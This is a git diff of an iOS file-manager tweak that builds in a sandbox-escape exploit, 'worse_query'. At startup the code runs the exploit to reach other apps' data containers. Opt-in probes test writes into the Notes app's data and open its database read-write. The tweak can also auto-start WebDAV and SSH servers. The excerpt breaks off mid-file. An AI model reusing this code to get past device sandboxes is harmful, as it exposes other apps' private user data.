dataUsingEncoding:NSUTF8StringEncoding]; + int descriptor = open(path.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, 0600); + int createError = descriptor < 0 ? errno : 0; + ssize_t written = -1; + if (descriptor >= 0) { + written = write(descriptor, payload.bytes, payload.length); + fsync(descriptor); + close(descriptor); + } + + NSData *roundTrip = descriptor >= 0 ? [NSData dataWithContentsOfFile:path] : nil; + BOOL verified = written == (ssize_t)payload.length && [roundTrip isEqualToData:payload]; + int cleanupResult = descriptor >= 0 ? unlink(path.fileSystemRepresentation) : -1; + struct stat status = {0}; + BOOL removed = descriptor >= 0 && cleanupResult == 0 && + lstat(path.fileSystemRepresentation, &status) != 0 && errno == ENOENT; + NSLog(@"[WriteProbe] target=%@ create=%d errno=%d bytes=%zd readback=%d cleanup=%d path=%@", + label, descriptor >= 0, createError, written, verified, removed, path); +} + +static void runWritableOpenProbe(NSString *label, NSString *path) { + int descriptor = open(path.fileSystemRepresentation, + O_RDWR | O_CLOEXEC | O_NOFOLLOW); + int openError = descriptor < 0 ? errno : 0; + struct stat status = {0}; + BOOL regularFile = descriptor >= 0 && fstat(descriptor, &status) == 0 && + S_ISREG(status.st_mode); + if (descriptor >= 0) close(descriptor); + NSLog(@"[WriteProbe] target=%@ open_rdwr=%d errno=%d regular=%d size=%lld path=%@", + label, descriptor >= 0, openError, regularFile, + regularFile ? (long long)status.st_size : -1LL, path); +} + +static void runOptInWriteProbe(void) { + if (!getenv("FILZA_WRITE_PROBE")) return; + NSString *root = MCMFilzaVirtualRoot(); + NSString *canary = [root stringByAppendingPathComponent: + @"App Data/local.research.SandboxCanaryVictim"]; + runWriteProbeAtDirectory(@"Canary app data", canary); + runWriteProbeAtDirectory(@"Canary app data tmp", + [canary stringByAppendingPathComponent:@"tmp"]); + runWriteProbeAtDirectory(@"Notes app data", + [root stringByAppendingPathComponent:@"App Data/com.apple.mobilenotes"]); + runWriteProbeAtDirectory(@"Notes app data tmp", + [root stringByAppendingPathComponent:@"App Data/com.apple.mobilenotes/tmp"]); + runWriteProbeAtDirectory(@"Notes app group", + [root stringByAppendingPathComponent:@"App Groups/group.com.apple.notes"]); + runWritableOpenProbe(@"Notes database", + [root stringByAppendingPathComponent: + @"App Groups/group.com.apple.notes/NoteStore.sqlite"]); +} + +static UIViewController *activeBrowserController(void) { + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) { + if (candidate.isKeyWindow) { window = candidate; break; } + if (!window && !candidate.hidden) window = candidate; + } + UIViewController *controller = window.rootViewController; + while (controller) { + UIViewController *next = controller.presentedViewController; + if (!next && [controller isKindOfClass:UINavigationController.class]) + next = ((UINavigationController *)controller).visibleViewController; + if (!next && [controller isKindOfClass:UITabBarController.class]) + next = ((UITabBarController *)controller).selectedViewController; + if (!next && [controller isKindOfClass:UISplitViewController.class]) + next = ((UISplitViewController *)controller).viewControllers.lastObject; + if (!next && [controller respondsToSelector: + NSSelectorFromString(@"visibleViewControllers")]) { + id visible = ((id(*)(id, SEL))objc_msgSend)(controller, + NSSelectorFromString(@"visibleViewControllers")); + if ([visible isKindOfClass:NSArray.class] && [visible count] > 0) + next = [visible lastObject]; + } + if (!next && controller.childViewControllers.count == 1) + next = controller.childViewControllers.firstObject; + if (!next || next == controller) break; + controller = next; + } + return controller; +} + +static BOOL repairActiveBrowserPath(void) { + UIViewController *controller = activeBrowserController(); + SEL currentPathSelector = NSSelectorFromString(@"currentPath"); + SEL setCurrentPathSelector = NSSelectorFromString(@"setCurrentPath:"); + if (![controller respondsToSelector:currentPathSelector] || + ![controller respondsToSelector:setCurrentPathSelector]) { + NSLog(@"[DeviceStorage] waiting for browser controller; active=%@", + NSStringFromClass(controller.class)); + return NO; + } + NSString *currentPath = ((id(*)(id, SEL))objc_msgSend)(controller, + currentPathSelector); + NSString *root = preferredStorageRoot(); + BOOL insideRoot = [currentPath isEqualToString:root] || + [currentPath hasPrefix:[root stringByAppendingString:@"/"]]; + if (!insideRoot) { + ((void(*)(id, SEL, id))objc_msgSend)(controller, + setCurrentPathSelector, root); + controller.navigationItem.title = WQIsActive() ? @"worse_query" : @"Device Storage"; + NSLog(@"[DeviceStorage] repaired active browser path from %@ to %@ class=%@", + currentPath, root, NSStringFromClass(controller.class)); + } + SEL loadSelector = NSSelectorFromString(@"doLoadingPage"); + if ([controller respondsToSelector:loadSelector]) { + ((void(*)(id, SEL))objc_msgSend)(controller, loadSelector); + NSLog(@"[DeviceStorage] reloaded active browser path %@ class=%@", + root, NSStringFromClass(controller.class)); + } + return YES; +} + +static void scheduleInitialBrowserRepair(NSUInteger attemptsRemaining) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 400 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + if (!repairActiveBrowserPath() && attemptsRemaining > 1) + scheduleInitialBrowserRepair(attemptsRemaining - 1); + }); +} + +static void runMCMPath(void) { + // worse_query is the primary path on iOS 26/27. The startup panel runs the + // exploit and indexes every supported directory before the UI is usable. + // The MobileHouseArrest integration remains as a fallback for builds signed + // with that identity. + WQStartupUIBegin(); + dispatch_async(dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{ + WQTestTerminalSpawn(); + if (getenv("WQ_TEST_TERMINAL")) WQTerminalSelfTest(); + if (getenv("WQ_TEST_TERMINAL_UI")) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 25 * NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ WQTerminalPresentTestUI(); }); + } + }); + MCMFilzaStart(); + if (MCMFilzaIsRunningInLiveContainer()) return; + PBWallpaperFeatureStart(); + runOptInWriteProbe(); + runOptInPasteCopyProbe(); + + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 2500 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + id autoStart = [NSUserDefaults.standardUserDefaults + objectForKey:@"WQWebDAVAutoStart"]; + if (autoStart && ![autoStart boolValue]) return; + NSString *error = nil; + if (!WQWebDAVStart(&error)) + NSLog(@"[WQWebDAV] autostart failed: %@", error ?: @"unknown"); + BOOL sshEnabled = getenv("WQ_SSH_TEST") || + [NSUserDefaults.standardUserDefaults boolForKey:@"WQSSHEnabled"]; + if (sshEnabled) { + NSString *sshError = nil; + if (WQSSHServerStart(&sshError)) + NSLog(@"[WQSSH] autostart %@", WQSSHServerURL()); + else + NSLog(@"[WQSSH] autostart failed: %@", sshError ?: @"unknown"); + } + }); +} + +#pragma mark - Entry Point + +__attribute__((constructor)) void TweakInit(void) { + installHooks(); + // Populate the MCM root before Filza restores its initial browser path. + runMCMPath(); + if (getenv("WQ_TEST_SETTINGS")) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 26 * NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ + Class settingsClass = NSClassFromString(@"TGPreferencesTableViewController"); + if (!settingsClass) return; + UIViewController *settings = nil; + SEL selector = NSSelectorFromString(@"initWithStyle:"); + if ([settingsClass instancesRespondToSelector:selector]) { + id (*function)(id, SEL, NSInteger) = + (id(*)(id, SEL, NSInteger))objc_msgSend; + settings = function([settingsClass alloc], selector, 1); + } else { + settings = [[settingsClass alloc] init]; + } + UINavigationController *navigation = [[UINavigationController alloc] + initWithRootViewController:settings]; + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) + if (candidate.isKeyWindow && !candidate.isHidden) { window = candidate; break; } + if (window) [window.rootViewController presentViewController:navigation + animated:YES completion:nil]; + }); + } + [[NSNotificationCenter defaultCenter] addObserverForName:@"WQStartupUIDidDismiss" + object:nil queue:NSOperationQueue.mainQueue usingBlock:^(NSNotification *note) { + scheduleInitialBrowserRepair(80); + if (getenv("WQ_TEST_SETTINGS")) { + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 15 * NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ + Class settingsClass = NSClassFromString(@"TGPreferencesTableViewController"); + if (!settingsClass) return; + UIViewController *settings = nil; + SEL selector = NSSelectorFromString(@"initWithStyle:"); + if ([settingsClass instancesRespondToSelector:selector]) { + id (*function)(id, SEL, NSInteger) = + (id(*)(id, SEL, NSInteger))objc_msgSend; + settings = function([settingsClass alloc], selector, 1); + } else { + settings = [[settingsClass alloc] init]; + } + UINavigationController *navigation = [[UINavigationController alloc] + initWithRootViewController:settings]; + UIWindow *window = nil; + for (UIWindow *candidate in UIApplication.sharedApplication.windows) + if (candidate.isKeyWindow && !candidate.isHidden) { window = candidate; break; } + if (window) [window.rootViewController presentViewController:navigation + animated:YES completion:nil]; + }); + } + }]; + scheduleInitialBrowserRepair(8); + FSUpdateCheckerStart(); +} diff --git a/UpdateChecker.h b/UpdateChecker.h new file mode 100644 index 0000000..6343b13 --- /dev/null +++ b/UpdateChecker.h @@ -0,0 +1,3 @@ +#import + +FOUNDATION_EXPORT void FSUpdateCheckerStart(void); diff --git a/UpdateChecker.m b/UpdateChecker.m new file mode 100644 index 0000000..a085975 --- /dev/null +++ b/UpdateChecker.m @@ -0,0 +1,255 @@ +#import "UpdateChecker.h" + +#import + +static NSString *const kFSUpdateAPIURL = + @"https://api.github.com/repos/0xjohnnydev/FilzaSlop/releases/latest"; +static NSString *const kFSVersionInfoKey = @"FilzaSlopVersion"; +static NSString *const kFSLastCheckDateKey = @"FilzaSlopUpdateLastCheckDate"; +static NSString *const kFSLastCheckedVersionKey = + @"FilzaSlopUpdateLastCheckedVersion"; +static NSString *const kFSLastAlertedTagKey = + @"FilzaSlopUpdateLastAlertedTag"; +static const NSTimeInterval kFSUpdateCheckInterval = 24.0 * 60.0 * 60.0; + +static BOOL gFSUpdateCheckerStarted; +static BOOL gFSUpdateCheckInFlight; +static BOOL gFSUpdatePresentationScheduled; +static NSDictionary *gFSPendingRelease; + +static NSString *FSUpdateVersion(NSString *value) +{ + if (![value isKindOfClass:NSString.class]) return nil; + NSString *version = [value stringByTrimmingCharactersInSet: + NSCharacterSet.whitespaceAndNewlineCharacterSet]; + if ([version hasPrefix:@"v"] || [version hasPrefix:@"V"]) + version = [version substringFromIndex:1]; + return version.length > 0 ? version : nil; +} + +static NSString *FSCurrentVersion(void) +{ + return FSUpdateVersion([NSBundle.mainBundle objectForInfoDictionaryKey: + kFSVersionInfoKey]); +} + +static BOOL FSUpdateVersionIsNewer(NSString *latest, NSString *current) +{ + NSString *latestVersion = FSUpdateVersion(latest); + NSString *currentVersion = FSUpdateVersion(current); + if (!latestVersion || !currentVersion) return NO; + return [latestVersion compare:currentVersion options:NSNumericSearch] == + NSOrderedDescending; +} + +static UIViewController *FSTopViewController(UIViewController *controller) +{ + UIViewController *current = controller; + while (current) { + UIViewController *next = nil; + if (current.presentedViewController && + !current.presentedViewController.isBeingDismissed) { + next = current.presentedViewController; + } else if ([current isKindOfClass:UINavigationController.class]) { + next = ((UINavigationController *)current).visibleViewController; + } else if ([current isKindOfClass:UITabBarController.class]) { + next = ((UITabBarController *)current).selectedViewController; + } + if (!next || next == current) break; + current = next; + } + return current; +} + +static UIViewController *FSUpdatePresenter(void) +{ + UIApplication *application = UIApplication.sharedApplication; + UIWindow *selectedWindow = nil; + for (UIScene *scene in application.connectedScenes) { + if (![scene isKindOfClass:UIWindowScene.class] || + scene.activationState != UISceneActivationStateForegroundActive) + continue; + for (UIWindow *window in ((UIWindowScene *)scene).windows) { + if (window.isHidden || window.alpha == 0.0 || !window.rootViewController) + continue; + if (window.isKeyWindow) return FSTopViewController(window.rootViewController); + if (!selectedWindow) selectedWindow = window; + } + } + return selectedWindow ? FSTopViewController(selectedWindow.rootViewController) + : nil; +} + +static NSURL *FSReleaseURL(NSString *value) +{ + NSURL *url = [NSURL URLWithString:value ?: @""]; + NSString *host = url.host.lowercaseString; + NSString *path = url.path.lowercaseString; + if (![url.scheme.lowercaseString isEqualToString:@"https"] || + ![host isEqualToString:@"github.com"] || + ![path hasPrefix:@"/0xjohnnydev/filzaslop/releases/"]) + return nil; + return url; +} + +static void FSScheduleUpdatePresentation(NSUInteger attemptsRemaining); + +static void FSPresentPendingUpdate(void) +{ + NSDictionary *release = gFSPendingRelease; + if (!release) return; + + UIViewController *presenter = FSUpdatePresenter(); + if (!presenter || !presenter.view.window || presenter.isBeingDismissed || + [presenter isKindOfClass:UIAlertController.class]) + return; + + NSString *tag = release[@"tag"]; + NSString *current = FSCurrentVersion(); + NSURL *releaseURL = FSReleaseURL(release[@"url"]); + if (!tag.length || !current.length || !releaseURL) { + gFSPendingRelease = nil; + return; + } + + NSString *message = [NSString stringWithFormat: + @"Version %@ is available. You have version %@.", tag, current]; + UIAlertController *alert = [UIAlertController + alertControllerWithTitle:@"FilzaSlop Update Available" + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"Later" + style:UIAlertActionStyleCancel handler:nil]]; + [alert addAction:[UIAlertAction actionWithTitle:@"View Release" + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + [UIApplication.sharedApplication openURL:releaseURL options:@{} + completionHandler:nil]; + }]]; + + gFSPendingRelease = nil; + [presenter presentViewController:alert animated:YES completion:^{ + [NSUserDefaults.standardUserDefaults setObject:tag + forKey:kFSLastAlertedTagKey]; + }]; +} + +static void FSScheduleUpdatePresentation(NSUInteger attemptsRemaining) +{ + if (!gFSPendingRelease || gFSUpdatePresentationScheduled) return; + gFSUpdatePresentationScheduled = YES; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, NSEC_PER_SEC), + dispatch_get_main_queue(), ^{ + gFSUpdatePresentationScheduled = NO; + FSPresentPendingUpdate(); + if (gFSPendingRelease && attemptsRemaining > 1) + FSScheduleUpdatePresentation(attemptsRemaining - 1); + }); +} + +static void FSHandleReleaseResponse(NSData *data, NSURLResponse *response, + NSError *error) +{ + dispatch_async(dispatch_get_main_queue(), ^{ + gFSUpdateCheckInFlight = NO; + NSInteger statusCode = [response isKindOfClass:NSHTTPURLResponse.class] + ? ((NSHTTPURLResponse *)response).statusCode : 0; + if (error || statusCode != 200 || data.length == 0) { + NSLog(@"[UpdateChecker] request failed status=%ld error=%@", + (long)statusCode, error); + return; + } + + NSError *jsonError = nil; + NSDictionary *payload = [NSJSONSerialization JSONObjectWithData:data + options:0 error:&jsonError]; + if (![payload isKindOfClass:NSDictionary.class]) { + NSLog(@"[UpdateChecker] invalid response error=%@", jsonError); + return; + } + + NSString *tag = [payload[@"tag_name"] isKindOfClass:NSString.class] + ? payload[@"tag_name"] : nil; + NSString *releaseURL = [payload[@"html_url"] isKindOfClass:NSString.class] + ? payload[@"html_url"] : nil; + NSString *current = FSCurrentVersion(); + if (tag == nil || releaseURL == nil) { + NSLog(@"[UpdateChecker] response omitted release metadata"); + return; + } + if (!FSUpdateVersionIsNewer(tag, current)) { + NSLog(@"[UpdateChecker] current=%@ latest=%@", current, tag); + return; + } + + NSString *lastAlerted = [NSUserDefaults.standardUserDefaults + stringForKey:kFSLastAlertedTagKey]; + if ([lastAlerted isEqualToString:tag]) return; + if (!FSReleaseURL(releaseURL)) { + NSLog(@"[UpdateChecker] rejected release URL %@", releaseURL); + return; + } + + gFSPendingRelease = @{ @"tag": tag, @"url": releaseURL }; + FSScheduleUpdatePresentation(10); + }); +} + +static void FSCheckForUpdateIfNeeded(void) +{ + NSCAssert(NSThread.isMainThread, + @"Update checks must start on the main thread"); + if (gFSUpdateCheckInFlight) return; + + NSString *current = FSCurrentVersion(); + if (!current.length) { + NSLog(@"[UpdateChecker] %@ is missing; skipping update check", + kFSVersionInfoKey); + return; + } + + NSUserDefaults *defaults = NSUserDefaults.standardUserDefaults; + NSDate *lastCheck = [defaults objectForKey:kFSLastCheckDateKey]; + if (![lastCheck isKindOfClass:NSDate.class]) lastCheck = nil; + NSString *lastVersion = [defaults stringForKey:kFSLastCheckedVersionKey]; + NSTimeInterval elapsed = lastCheck + ? [NSDate.date timeIntervalSinceDate:lastCheck] : kFSUpdateCheckInterval; + BOOL sameVersion = [lastVersion isEqualToString:current]; + if (sameVersion && elapsed >= 0.0 && elapsed < kFSUpdateCheckInterval) + return; + + [defaults setObject:NSDate.date forKey:kFSLastCheckDateKey]; + [defaults setObject:current forKey:kFSLastCheckedVersionKey]; + gFSUpdateCheckInFlight = YES; + + NSMutableURLRequest *request = [NSMutableURLRequest + requestWithURL:[NSURL URLWithString:kFSUpdateAPIURL] + cachePolicy:NSURLRequestReloadIgnoringLocalCacheData timeoutInterval:15.0]; + [request setValue:@"application/vnd.github+json" forHTTPHeaderField:@"Accept"]; + [request setValue:@"2022-11-28" + forHTTPHeaderField:@"X-GitHub-Api-Version"]; + [request setValue:@"FilzaSlop-UpdateChecker" forHTTPHeaderField:@"User-Agent"]; + NSURLSessionDataTask *task = [NSURLSession.sharedSession + dataTaskWithRequest:request + completionHandler:^(NSData *data, NSURLResponse *response, + NSError *error) { + FSHandleReleaseResponse(data, response, error); + }]; + [task resume]; +} + +void FSUpdateCheckerStart(void) +{ + dispatch_async(dispatch_get_main_queue(), ^{ + if (gFSUpdateCheckerStarted) return; + gFSUpdateCheckerStarted = YES; + [NSNotificationCenter.defaultCenter + addObserverForName:UIApplicationDidBecomeActiveNotification + object:nil queue:NSOperationQueue.mainQueue + usingBlock:^(__unused NSNotification *notification) { + FSScheduleUpdatePresentation(10); + FSCheckForUpdateIfNeeded(); + }]; + if (UIApplication.sharedApplication.applicationState == + UIApplicationStateActive) + FSCheckForUpdateIfNeeded(); + }); +} diff --git a/WQArchive.h b/WQArchive.h new file mode 100644 index 0000000..f996563 --- /dev/null +++ b/WQArchive.h @@ -0,0 +1,15 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Extracts zip, tar, tar.gz, gz, bz2, xz, 7z, rar and other formats +/// supported by libarchive into `destination`. +FOUNDATION_EXPORT BOOL WQExtractArchive(NSString *archivePath, + NSString *destination, + NSString *_Nullable *_Nullable message); + +/// Destination used when the caller does not specify one +/// (archive name with the archive suffix removed). +FOUNDATION_EXPORT NSString *WQDefaultExtractDestination(NSString *archivePath); + +NS_ASSUME_NONNULL_END diff --git a/WQArchive.m b/WQArchive.m new file mode 100644 index 0000000..b45ac89 --- /dev/null +++ b/WQArchive.m @@ -0,0 +1,195 @@ +// +// WQArchive.m +// FilzaSlop +// +// In-process archive extraction for the terminal and Filza's file browser. +// libarchive is already linked by the package backend; this keeps archive +// support working without /usr/bin/unzip, 7z, unrar or a root helper. +// + +#import "WQArchive.h" + +#import +#include +#include +#include +#include + +// The iOS SDK does not ship libarchive headers. Declare the small ABI surface +// used here explicitly (the same approach as WQPackages.m). +typedef struct archive WQArchiveReader; +typedef struct archive_entry WQArchiveEntry; + +#define WQ_ARCHIVE_OK 0 +#define WQ_ARCHIVE_EOF 1 +#define WQ_AE_IFMT 0170000 +#define WQ_AE_IFREG 0100000 +#define WQ_AE_IFDIR 0040000 +#define WQ_AE_IFLNK 0120000 + +extern WQArchiveReader *archive_read_new(void); +extern int archive_read_support_filter_all(WQArchiveReader *); +extern int archive_read_support_format_all(WQArchiveReader *); +extern int archive_read_support_format_raw(WQArchiveReader *); +extern int archive_read_open_filename(WQArchiveReader *, const char *, size_t); +extern int archive_read_next_header(WQArchiveReader *, WQArchiveEntry **); +extern const char *archive_entry_pathname(WQArchiveEntry *); +extern unsigned int archive_entry_filetype(WQArchiveEntry *); +extern const char *archive_entry_symlink(WQArchiveEntry *); +extern unsigned int archive_entry_perm(WQArchiveEntry *); +extern ssize_t archive_read_data(WQArchiveReader *, void *, size_t); +extern int archive_read_data_skip(WQArchiveReader *); +extern const char *archive_error_string(WQArchiveReader *); +extern int archive_read_close(WQArchiveReader *); +extern int archive_read_free(WQArchiveReader *); + +static NSString *WQArchiveSafeRelativePath(const char *name) +{ + if (!name) return nil; + NSString *path = [NSString stringWithUTF8String:name]; + if (!path.length) return nil; + while ([path hasPrefix:@"./"]) + path = [path substringFromIndex:2]; + if ([path isEqualToString:@"."] || [path hasPrefix:@"/"]) return nil; + for (NSString *component in [path componentsSeparatedByString:@"/"]) + if ([component isEqualToString:@".."]) return nil; + return path; +} + +static BOOL WQArchiveWriteEntry(WQArchiveReader *reader, + WQArchiveEntry *entry, + NSString *target) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSString *parent = target.stringByDeletingLastPathComponent; + if (parent.length && ![fm createDirectoryAtPath:parent + withIntermediateDirectories:YES attributes:nil error:nil]) + return NO; + + mode_t type = archive_entry_filetype(entry); + if (type == WQ_AE_IFDIR) { + return [fm createDirectoryAtPath:target withIntermediateDirectories:YES + attributes:nil error:nil]; + } + if (type == WQ_AE_IFLNK) { + const char *link = archive_entry_symlink(entry); + if (!link || link[0] == '/') return NO; + unlink(target.fileSystemRepresentation); + return symlink(link, target.fileSystemRepresentation) == 0; + } + if (type != WQ_AE_IFREG && type != 0) return NO; + + int descriptor = open(target.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (descriptor < 0) return NO; + + char buffer[65536]; + ssize_t got; + BOOL ok = YES; + while ((got = archive_read_data(reader, buffer, sizeof(buffer))) > 0) { + ssize_t written = 0; + while (written < got) { + ssize_t step = write(descriptor, buffer + written, + (size_t)(got - written)); + if (step <= 0) { + ok = NO; + break; + } + written += step; + } + if (!ok) break; + } + if (got < 0) ok = NO; + if (close(descriptor) != 0) ok = NO; + + mode_t permissions = archive_entry_perm(entry); + if (permissions) + chmod(target.fileSystemRepresentation, permissions & 0777); + return ok; +} + +BOOL WQExtractArchive(NSString *archivePath, NSString *destination, + NSString **message) +{ + NSFileManager *fm = NSFileManager.defaultManager; + if (!archivePath.length || !destination.length) { + if (message) *message = @"extract: missing archive or destination"; + return NO; + } + [fm createDirectoryAtPath:destination withIntermediateDirectories:YES + attributes:nil error:nil]; + + WQArchiveReader *reader = archive_read_new(); + if (!reader) { + if (message) *message = @"extract: cannot allocate libarchive"; + return NO; + } + archive_read_support_filter_all(reader); + archive_read_support_format_all(reader); + archive_read_support_format_raw(reader); + + int result = archive_read_open_filename(reader, + archivePath.fileSystemRepresentation, 64 * 1024); + if (result != WQ_ARCHIVE_OK) { + if (message) *message = [NSString stringWithFormat: + @"extract: %@: %s", archivePath, archive_error_string(reader) ?: "unreadable"]; + archive_read_free(reader); + return NO; + } + + NSUInteger extracted = 0; + NSUInteger skipped = 0; + WQArchiveEntry *entry = NULL; + while ((result = archive_read_next_header(reader, &entry)) == WQ_ARCHIVE_OK) { + const char *name = archive_entry_pathname(entry); + NSString *relative = WQArchiveSafeRelativePath(name); + if (!relative.length) { + skipped++; + archive_read_data_skip(reader); + continue; + } + NSString *target = [destination stringByAppendingPathComponent:relative]; + if (WQArchiveWriteEntry(reader, entry, target)) + extracted++; + else + skipped++; + } + + BOOL failed = result != WQ_ARCHIVE_EOF; + NSString *error = failed ? [NSString stringWithUTF8String: + archive_error_string(reader) ?: "corrupt archive"] : nil; + archive_read_close(reader); + archive_read_free(reader); + + if (failed) { + if (message) *message = [NSString stringWithFormat: + @"extract: %@: %@", archivePath, error ?: @"corrupt archive"]; + return NO; + } + if (message) *message = [NSString stringWithFormat: + @"extract: %lu entries -> %@%@", (unsigned long)extracted, destination, + skipped ? [NSString stringWithFormat:@" (%lu skipped)", + (unsigned long)skipped] : @""]; + return YES; +} + +NSString *WQDefaultExtractDestination(NSString *archivePath) +{ + NSString *name = archivePath.lastPathComponent; + NSArray *suffixes = @[ + @".tar.gz", @".tar.bz2", @".tar.xz", @".tar.zst", + @".tgz", @".tbz", @".tbz2", @".txz", @".tzst", + @".zip", @".7z", @".rar", @".tar", @".gz", @".bz2", + @".xz", @".zst", @".deb", @".iso", + ]; + NSString *lower = name.lowercaseString; + for (NSString *suffix in suffixes) { + if ([lower hasSuffix:suffix] && name.length > suffix.length) { + name = [name substringToIndex:name.length - suffix.length]; + break; + } + } + if (!name.length) name = @"extracted"; + return [archivePath.stringByDeletingLastPathComponent + stringByAppendingPathComponent:name]; +} diff --git a/WQFilzaIntegration.h b/WQFilzaIntegration.h new file mode 100644 index 0000000..5a5cd37 --- /dev/null +++ b/WQFilzaIntegration.h @@ -0,0 +1,54 @@ +#import + +NS_ASSUME_NONNULL_BEGIN + +/// Boots the worse_query integration. Grants every path family the primitive +/// supports, publishes a symlinked control folder inside Filza's virtual root, +/// registers Favorites entries, and prewarms app-container discovery. +FOUNDATION_EXPORT void WQFilzaStart(void); + +/// YES once at least one worse_query sandbox extension was consumed. +FOUNDATION_EXPORT BOOL WQIsActive(void); + +/// Canonical /private/var paths that currently have a live extension. +FOUNDATION_EXPORT NSArray *WQAccessibleRoots(void); + +/// "…/Documents/Device Storage/worse_query", the browsing hub for the granted +/// roots. Kept stable so Favorites entries can point at it. +FOUNDATION_EXPORT NSString *WQVirtualRootFolder(void); + +/// App records built from accessible data containers and their +/// .com.apple.mobile_container_manager.metadata.plist files. +/// Keys: bundleID, dataPath, name, version, bundlePath (optional), +/// iconPath (optional). +FOUNDATION_EXPORT NSArray *WQInstalledApplications(void); + +FOUNDATION_EXPORT NSString *_Nullable WQBundlePathForIdentifier(NSString *bundleID); +FOUNDATION_EXPORT NSString *_Nullable WQDataPathForIdentifier(NSString *bundleID); +FOUNDATION_EXPORT NSString *_Nullable WQBestAppGroup(void); + +/// Minimal stand-in for LSApplicationProxy used when LaunchServices hides an +/// app but its data container is still discoverable. +@interface WQApplicationProxy : NSObject +@property (nonatomic, copy) NSString *applicationIdentifier; +@property (nonatomic, copy) NSString *bundleIdentifier; +@property (nonatomic, copy) NSString *localizedName; +@property (nonatomic, copy) NSString *bundleVersion; +@property (nonatomic, copy) NSString *shortVersionString; +@property (nonatomic, copy) NSString *applicationType; +@property (nonatomic, copy) NSString *vendorName; +@property (nonatomic, strong, nullable) NSURL *bundleURL; +@property (nonatomic, strong, nullable) NSURL *dataContainerURL; +- (instancetype)initWithAppInfo:(NSDictionary *)info; +@end + +NS_ASSUME_NONNULL_END + +/// Extra commands used by the sbx_* terminal helpers. +FOUNDATION_EXPORT BOOL WQGrantExtraPath(NSString * _Nonnull path, BOOL createIfMissing); +FOUNDATION_EXPORT void WQReleaseGrantHandle(NSNumber * _Nonnull handle); +FOUNDATION_EXPORT void WQReleaseAllGrants(void); +FOUNDATION_EXPORT void WQRefreshDiscovery(void); +FOUNDATION_EXPORT NSArray * _Nonnull WQChildrenForRoot(NSString * _Nonnull root); +FOUNDATION_EXPORT NSString *_Nullable WQIdentifyContainerPath(NSString * _Nonnull path); +FOUNDATION_EXPORT NSArray * _Nonnull WQActiveGrantHandles(void); diff --git a/WQFilzaIntegration.m b/WQFilzaIntegration.m new file mode 100644 index 0000000..e58ea54 --- /dev/null +++ b/WQFilzaIntegration.m @@ -0,0 +1,1398 @@ +// +// WQFilzaIntegration.m +// FilzaSlop +// +// worse_query (GPL-3.0) integration for iOS 26/27, including iOS 27.2. +// The primitive needs only a provisioned App Group; it does not depend on +// the MobileHouseArrest code identity or on a kernel exploit. +// + +#import "WQFilzaIntegration.h" +#import "MCMFilzaIntegration.h" +#import "worse_query.h" +#import "pathleak.h" +#import "fallback_query.h" + +#import +#import +#import +#import +#import +#import +#import +#import +#import +#import + +typedef struct __SecTask *WQSecTaskRef; +extern WQSecTaskRef SecTaskCreateFromSelf(CFAllocatorRef allocator); +extern CFTypeRef SecTaskCopyValueForEntitlement(WQSecTaskRef task, + CFStringRef entitlement, + CFErrorRef *error); + +static NSString *const kWQFolderName = @"worse_query"; +static NSString *const kWQFavoritesMarker = @"WQv1"; + +static NSLock *gQueryLock; +static NSLock *gAppsLock; +static NSMutableDictionary *gGrantHandles; +static NSMutableArray *gGrantedRoots; +static NSMutableDictionary *gRootDisplayNames; +static NSString *gAppGroup; +static BOOL gStarted; +static BOOL gFavoritesInstalled; + +static NSArray *> *gAppsCache; +static NSDate *gAppsCacheDate; +static NSMutableDictionary *gBundleMap; +static NSMutableDictionary *gDataMap; +static BOOL gBundleMapAttempted; +static NSObject *gBundleMapLock; +static dispatch_queue_t gAppsQueue; +static dispatch_queue_t gFamiliesQueue; +static NSMutableDictionary *> *gPathleakCache; +static dispatch_group_t gStartupGroup; +static BOOL gStartupActive; +static NSArray *gVolumePaths; +static dispatch_once_t gVolumeOnce; +static NSMutableDictionary *gBundleInfo; + +static void WQPostStartupProgress(double progress, NSString *status); +static NSArray *WQVolumeChildren(NSString *root); +static NSString *WQContainerIdentifier(NSString *containerPath); +static void WQDiscoverPerContainerFamilies(void); +static NSArray *> *WQBuildAppList(void); +static void WQInstallFavorites(void); + +#pragma mark - Paths + +static NSString *WQCanonicalPath(NSString *path) +{ + if (![path isKindOfClass:NSString.class] || path.length == 0) return nil; + NSString *value = [path stringByStandardizingPath]; + if ([value isEqualToString:@"/var"] || [value hasPrefix:@"/var/"]) + value = [@"/private" stringByAppendingString:value]; + return value; +} + +static BOOL WQPathExists(NSString *path) +{ + struct stat st; + return path.length > 0 && lstat(path.fileSystemRepresentation, &st) == 0; +} + +static NSInteger WQOSMajor(void) +{ + return NSProcessInfo.processInfo.operatingSystemVersion.majorVersion; +} + +static BOOL WQUsesAlternateFlags(NSString *path) +{ + // worse_query needs the alternate flags for App Group containers on 26.x. + return WQOSMajor() == 26 && + [path containsString:@"/var/mobile/Containers/Shared/AppGroup"]; +} + +/// Paths documented by forcequitOS/worse_query, ordered from broadest to most +/// specific. The iOS 27 system locations are separate from the iOS 26 ones. +static NSArray *> *WQCandidateRoots(void) +{ + return @[ + @{ @"path": @"/private/var/mobile/Containers/Data/Application", + @"name": @"App Data" }, + @{ @"path": @"/private/var/mobile/Containers/Shared/AppGroup", + @"name": @"App Groups" }, + @{ @"path": @"/private/var/mobile/Containers/Data/PluginKitPlugin", + @"name": @"Extension Data" }, + @{ @"path": 